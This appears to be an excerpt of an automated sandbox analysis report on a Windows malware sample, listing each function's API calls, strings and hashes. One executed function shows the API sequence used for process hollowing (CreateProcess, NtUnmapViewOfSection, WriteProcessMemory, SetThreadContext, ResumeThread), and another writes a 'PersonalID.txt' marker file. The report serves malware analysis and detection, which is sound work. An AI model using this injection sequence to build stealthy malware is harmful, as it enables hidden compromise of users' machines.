Instruction ID: b2deef9000060817df5d9888a0c5d5c31052404ed3c7d79a7a675bf972ea9145
Opcode Fuzzy Hash: 0bc333208f10a2510305f30f60194ffc8a1e9bc236dda87ca461c0d5e10d6844
Instruction Fuzzy Hash: 3231D57591122C9BCB21DF69D9887C9B7B8FF08310F5042EAE80CA6251EB349F858F59

Uniqueness

Uniqueness Score: -1.00%

Function 0042A77E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0042AB93
___raise_securityfailure.LIBCMT ref: 0042AC7A

Strings

8Q, xrefs: 0042AC75

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: 8Q
API String ID: 3761405300-2096853525
Opcode ID: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction ID: cc78ca7643d31f84c049b3cf87471233b0d3094e131d8c276326ba2ae67c1d9c
Opcode Fuzzy Hash: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction Fuzzy Hash: 4F21FFB5500304DBD750DF56F981A843BE9BB68310F10AA1AE908CB7E0D7F559D8EF45

Uniqueness

Uniqueness Score: -1.00%

Function 00413C40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 00413CA0

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

_memset.LIBCMT ref: 00413C83

Strings

vector<T> too long, xrefs: 00413C96

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc_memset
String ID: vector<T> too long
API String ID: 1327501947-3788999226
Opcode ID: 13dbab4e4c979af06a9cf2652985864a633ab205e3cc78c94b6fadd0ced0ada8
Instruction ID: e8ff6f7d1438dbc4cc0d31425bbcf17e71e6c586c3cd126e38002517ea96b8c1
Opcode Fuzzy Hash: 13dbab4e4c979af06a9cf2652985864a633ab205e3cc78c94b6fadd0ced0ada8
Instruction Fuzzy Hash: AB0192B25003105BE3309F1AE801797B7E8AF40765F14842EE99993781F7B9E984C7D9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C919 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B
_fputws.LIBCMT ref: 0040C9C6
_fputws.LIBCMT ref: 0040C9E8
_fputws.LIBCMT ref: 0040C9F3

Strings

C:\SystemID, xrefs: 0040C946
C:\SystemID\PersonalID.txt, xrefs: 0040C956

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _fputws$CreateDirectory
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2590308727-54166481
Opcode ID: b861cdce013af4209bc30e04672f112ccf944bab98ef41955443f7e5140c860b
Instruction ID: 548e7949761e073c688dfdb6472f733b12cf2ebad02737ba307de427565b7e5f
Opcode Fuzzy Hash: b861cdce013af4209bc30e04672f112ccf944bab98ef41955443f7e5140c860b
Instruction Fuzzy Hash: 9911E672A00315EBCF20DF65DC8579A77A0AF10318F10063BED5962291E37A99588BCA

Uniqueness

Uniqueness Score: -1.00%

Function 00420DB3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00420DD5
__calloc_crt.LIBCMT ref: 00420DEE

Strings

Assertion failed: %s, file %s, line %d, xrefs: 00420E13

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: __calloc_crt
String ID: Assertion failed: %s, file %s, line %d
API String ID: 3494438863-969893948
Opcode ID: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
Instruction ID: 3c5265aa1bf4e9f5ad4874ec33d215fa8746995624eee7e22a7137551c8458fa
Opcode Fuzzy Hash: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
Instruction Fuzzy Hash: 75F0A97130A2218BE734DB75BC51B6A27D5AF22724B51082FF100DA5C2E73C88425699

Uniqueness

Uniqueness Score: -1.00%

Function 00480620 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00480686

Part of subcall function 00454C00: _raise.LIBCMT ref: 00454C18

Strings

ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 0048062E
.\crypto\evp\digest.c, xrefs: 00480638

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _memset_raise
String ID: .\crypto\evp\digest.c$ctx->digest->md_size <= EVP_MAX_MD_SIZE
API String ID: 1484197835-3867593797
Opcode ID: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction ID: 96aa535d5fc7c596ca855a62b55a20e08de4f59c43588781e3518ec4b5147bd0
Opcode Fuzzy Hash: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction Fuzzy Hash: 82012C756002109FC311EF09EC42E5AB7E5AFC8304F15446AF6889B352E765EC558B99

Uniqueness

Uniqueness Score: -1.00%

Function 0044F23E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0044F251

Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15

__CxxThrowException@8.LIBCMT ref: 0044F266

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

Strings

TeM, xrefs: 0044F247, 0044F25B

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Copy_strExceptionException@8RaiseThrowstd::exception::_std::exception::exception
String ID: TeM
API String ID: 757275642-2215902641
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: d1ee5d24d6598838e25116ba354c7cf631fb5eda6106ebacc41b25e9fbee45cd
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: 8FD06774D0020DBBCB04EFA5D59ACCDBBB8AA04348F009567AD1597241EA78A7498B99

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 8jvTeVxooN.exePID: 4444, Parent PID: 2700COMMON

Execution Graph

Execution Coverage:	1.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	38
Total number of Limit Nodes:	8

Executed Functions

Function 05E90110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 05E90156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 05E9016C
CreateProcessA.KERNELBASE(?,00000000), ref: 05E90255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 05E90270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 05E90283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 05E9029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 05E902C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 05E902E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 05E90304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 05E9032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 05E90399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 05E903BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 05E903E1
ResumeThread.KERNELBASE(00000000), ref: 05E903ED
ExitProcess.KERNEL32(00000000), ref: 05E90412

Memory Dump Source

Source File: 00000003.00000002.1658031837.0000000005E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e90000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 93872480-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: c0ba40d2e03e0c01441f0d21b32c7ce1bfa1b081f9f8f5c473ca0172d6b6017a
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 3EB1C874A00208AFDB44CF98C895F9EBBB5FF88314F248158E549AB391D771AD41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 05E90420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 05E90533

Strings

0, xrefs: 05E90492
d, xrefs: 05E90584
mfoaskdfnoa, xrefs: 05E90520, 05E90523
saodkfnosa9uin, xrefs: 05E904DA

Memory Dump Source

Source File: 00000003.00000002.1658031837.0000000005E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e90000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: cdad2da7f5cf2422df589530bd679b3cc635bfdf4100e79183cc78ae80a9117c
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: FC511870D08388DAEF15CBE8C849BEDBFB2AF11708F144058D5847F286C3BA5658CB66

Uniqueness

Uniqueness Score: -1.00%

Function 05E905B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 05E905EC

Strings

apfHQ, xrefs: 05E905E2, 05E905E5
o, xrefs: 05E90600

Memory Dump Source

Source File: 00000003.00000002.1658031837.0000000005E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e90000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: f0eea33b9d756eb64476f2442f6703f126b68aa19329a15a801c94fd0e761471
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 12012170C0428CEEDF14DB98C5183AEBFB5AF41308F5480DDC4492B242D7769B58CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 044827C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 044827EE
Module32First.KERNEL32(00000000,00000224), ref: 0448280E

Memory Dump Source

Source File: 00000003.00000002.1657747335.0000000004482000.00000040.00000020.00020000.00000000.sdmp, Offset: 04482000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4482000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 0cf916d7e89aa4fdc8c79bbe9fe5345c1f5567b5e2a6e13a45476e3b2e908165
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 08F062356007156BDB203BB5AC8DB6FB6E8BF49725F10066EE642911C0DAB0F8454661

Uniqueness

Uniqueness Score: -1.00%

Function 04482485 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 044824D6

Memory Dump Source

Source File: 00000003.00000002.1657747335.0000000004482000.00000040.00000020.00020000.00000000.sdmp, Offset: 04482000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4482000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: cb42cde0ef7231e5d218cc1209348b3762ac30f3c0ef2cba397ccdfb3d4b83d7
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 19112B79A40208EFDB01DF99C985E99BBF5AF08350F058095F9489B362D375EA90DB80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 05EB6437 Relevance: 18.1, APIs: 12, Instructions: 84
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__calloc_crt.LIBCMT ref: 05EB644E

Part of subcall function 05EB9636: __calloc_impl.LIBCMT ref: 05EB9645

__calloc_crt.LIBCMT ref: 05EB6472
_free.LIBCMT ref: 05EB6480
__calloc_crt.LIBCMT ref: 05EB648E
_free.LIBCMT ref: 05EB649E
_free.LIBCMT ref: 05EB64A4
__copytlocinfo_nolock.LIBCMT ref: 05EB64B3
__setmbcp_nolock.LIBCMT ref: 05EB64D4
_free.LIBCMT ref: 05EB64E2
___removelocaleref.LIBCMT ref: 05EB64E9
___freetlocinfo.LIBCMT ref: 05EB64F0
_free.LIBCMT ref: 05EB64F6

Memory Dump Source

Source File: 00000003.00000002.1658031837.0000000005E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e90000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock
String ID:
API String ID: 1442030790-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 578196aa26632beed74a4a23b7717d9b3420a186de9d6eca5590a22755acd46c
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: BB210731209600AAFB267F64DC09DDB7BE5FF41623F106029E4C6950A0FAE28610CAA1

Uniqueness

Uniqueness Score: -1.00%

Function 05EB3F16 Relevance: 16.8, APIs: 11, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 05EB3F51

Part of subcall function 05EB5BA8: __getptd_noexit.LIBCMT ref: 05EB5BA8

__gmtime64_s.LIBCMT ref: 05EB3FEA
__gmtime64_s.LIBCMT ref: 05EB4020
__gmtime64_s.LIBCMT ref: 05EB403D
__allrem.LIBCMT ref: 05EB4093
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 05EB40AF
__allrem.LIBCMT ref: 05EB40C6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 05EB40E4
__allrem.LIBCMT ref: 05EB40FB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 05EB4119
__invoke_watson.LIBCMT ref: 05EB418A

Memory Dump Source

Source File: 00000003.00000002.1658031837.0000000005E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e90000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: 12f7892331002e198a8382f5dab2e91940d6d8f24f0820d8f14292b6eb69a12a
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 63710671B00716BBFB24DE68CD45BEBB7BABF04225F145169E594D62C1E7B0D9008B90

Uniqueness

Uniqueness Score: -1.00%

Function 05EB650E Relevance: 16.6, APIs: 11, Instructions: 131
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__invoke_watson.LIBCMT ref: 05EB6547
__calloc_crt.LIBCMT ref: 05EB6598
__lock.LIBCMT ref: 05EB65AE
__copytlocinfo_nolock.LIBCMT ref: 05EB65BF
_wcscmp.LIBCMT ref: 05EB65F9
__lock.LIBCMT ref: 05EB6610
__updatetlocinfoEx_nolock.LIBCMT ref: 05EB6622
___removelocaleref.LIBCMT ref: 05EB6628
__updatetlocinfoEx_nolock.LIBCMT ref: 05EB6647

Memory Dump Source

Source File: 00000003.00000002.1658031837.0000000005E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e90000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson_wcscmp
String ID:
API String ID: 3432600739-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: dc1c72fd8c9fab3fc301d5daf3692d5e4813f6831448306790db54aad9a8ab11
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: 9E414532A04304AFFB00AFA4DD88BEF3BE5BF04316F10642EE98496191DBF19644DB51

Uniqueness

Uniqueness Score: -1.00%

Function 05EB84AB Relevance: 16.6, APIs: 11, Instructions: 92
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 05EB84B1
_free.LIBCMT ref: 05EB84E2
_free.LIBCMT ref: 05EB84F5
_free.LIBCMT ref: 05EB8513
_free.LIBCMT ref: 05EB8525
_free.LIBCMT ref: 05EB8536
_free.LIBCMT ref: 05EB8541
_free.LIBCMT ref: 05EB8565
_free.LIBCMT ref: 05EB8581
_free.LIBCMT ref: 05EB8597
_free.LIBCMT ref: 05EB85BF

Memory Dump Source

Source File: 00000003.00000002.1658031837.0000000005E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e90000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _free$ExitProcess___crt
String ID:
API String ID: 1022109855-0
Opcode ID: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction ID: e8c19106957dd22dd9f3fe784243c3d3c87572aa113f09e2b26287c99ba5736c
Opcode Fuzzy Hash: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction Fuzzy Hash: CB31D5719062508BFB155F54FC948CA37A8FB10326704612AE9C5933A0CBF05AC8DEA1

Uniqueness

Uniqueness Score: -1.00%

Function 05EDFC0C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 05EDFC1F

Part of subcall function 05EC169C: std::exception::_Copy_str.LIBCMT ref: 05EC16B5

__CxxThrowException@8.LIBCMT ref: 05EDFC34
std::exception::exception.LIBCMT ref: 05EDFC4D
__CxxThrowException@8.LIBCMT ref: 05EDFC62
std::regex_error::regex_error.LIBCPMT ref: 05EDFC74

Part of subcall function 05EDF914: std::exception::exception.LIBCMT ref: 05EDF92E

__CxxThrowException@8.LIBCMT ref: 05EDFC82
std::exception::exception.LIBCMT ref: 05EDFC9B
__CxxThrowException@8.LIBCMT ref: 05EDFCB0

Strings

leM, xrefs: 05EDFCA8

Memory Dump Source

Source File: 00000003.00000002.1658031837.0000000005E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e90000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strstd::exception::_std::regex_error::regex_error
String ID: leM
API String ID: 3569886845-2926266777
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: b52dc30ef6dbe295f65bc6ea5ef6155e42f2a19dd0e1d55d682aa4231ece4b0c
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 1A114979D0020CBBCF04FFA4E958CEEBFBCAA04244F4084A6AD5497241EB74E349CB94

Uniqueness

Uniqueness Score: -1.00%

Function 05E9F010 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 05E9F01F

Part of subcall function 05EB1602: __FF_MSGBANNER.LIBCMT ref: 05EB1619
Part of subcall function 05EB1602: __NMSG_WRITE.LIBCMT ref: 05EB1620

_malloc.LIBCMT ref: 05E9F02B
_wprintf.LIBCMT ref: 05E9F03E
_free.LIBCMT ref: 05E9F044
_free.LIBCMT ref: 05E9F065
_malloc.LIBCMT ref: 05E9F06D
_sprintf.LIBCMT ref: 05E9F0C0
_wprintf.LIBCMT ref: 05E9F0D2
_wprintf.LIBCMT ref: 05E9F0DC
_free.LIBCMT ref: 05E9F0E5

Memory Dump Source

Source File: 00000003.00000002.1658031837.0000000005E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e90000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$_sprintf
String ID:
API String ID: 3721157643-0
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: 7760d6207c877a0382a9546aac2a23d78a1e568d66e460064fda0d8b92bc5f05
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: 061136B6A005507AE662A6B55C29FFF3BDC9F45313F0410A9FBDCD1180DA985B04D3B1

Uniqueness

Uniqueness Score: -1.00%

Function 05EA1960 Relevance: 13.6, APIs: 9, Instructions: 149COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 05EA19C6
__CxxThrowException@8.LIBCMT ref: 05EA19F1
__CxxThrowException@8.LIBCMT ref: 05EA1A1A
__CxxThrowException@8.LIBCMT ref: 05EA1A4B
_memset.LIBCMT ref: 05EA1A6A
__CxxThrowException@8.LIBCMT ref: 05EA1A90
_malloc.LIBCMT ref: 05EA1AA0
_memset.LIBCMT ref: 05EA1AAB
_sprintf.LIBCMT ref: 05EA1ACE

Memory Dump Source

Source File: 00000003.00000002.1658031837.0000000005E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e90000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset$_malloc_sprintf
String ID:
API String ID: 65388428-0
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: 81d8a810726881b3100b6dfb9eb20818008887c417278d7dd9a14442ad050d18
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: 2D516F72E40219ABEB11DBA5DD89FEFBBB8FF04744F101025F945B6180E774AA01CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 05E9F210 Relevance: 10.7, APIs: 7, Instructions: 165COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 05E9F284
__CxxThrowException@8.LIBCMT ref: 05E9F2AF
__CxxThrowException@8.LIBCMT ref: 05E9F2DE
__CxxThrowException@8.LIBCMT ref: 05E9F30F
_memset.LIBCMT ref: 05E9F32E
__CxxThrowException@8.LIBCMT ref: 05E9F354
_sprintf.LIBCMT ref: 05E9F373

Memory Dump Source

Source File: 00000003.00000002.1658031837.0000000005E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e90000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: 80b2e65cd5821bd13677345454b3748c720d0d63a940dc20cc2517986cb1bade
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: 2F5160B1E40209AAEF15DFA1DC46FEEBB78BB04704F101029F951B6180D7B9AA058BA4

Uniqueness

Uniqueness Score: -1.00%

Function 05E9F440 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 05E9F4B7
__CxxThrowException@8.LIBCMT ref: 05E9F4E2
__CxxThrowException@8.LIBCMT ref: 05E9F504
__CxxThrowException@8.LIBCMT ref: 05E9F535
_memset.LIBCMT ref: 05E9F554
__CxxThrowException@8.LIBCMT ref: 05E9F57A
_sprintf.LIBCMT ref: 05E9F594

Memory Dump Source

Source File: 00000003.00000002.1658031837.0000000005E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e90000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: 466e39b8ec90408cce8a4b0e257ab996299f791f45adabba21f8b106be4a88f7
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: DA516171E40209AADF15DFA1DD85FEFBBB8BB04704F101129F955F6180E674A9058BA4

Uniqueness

Uniqueness Score: -1.00%

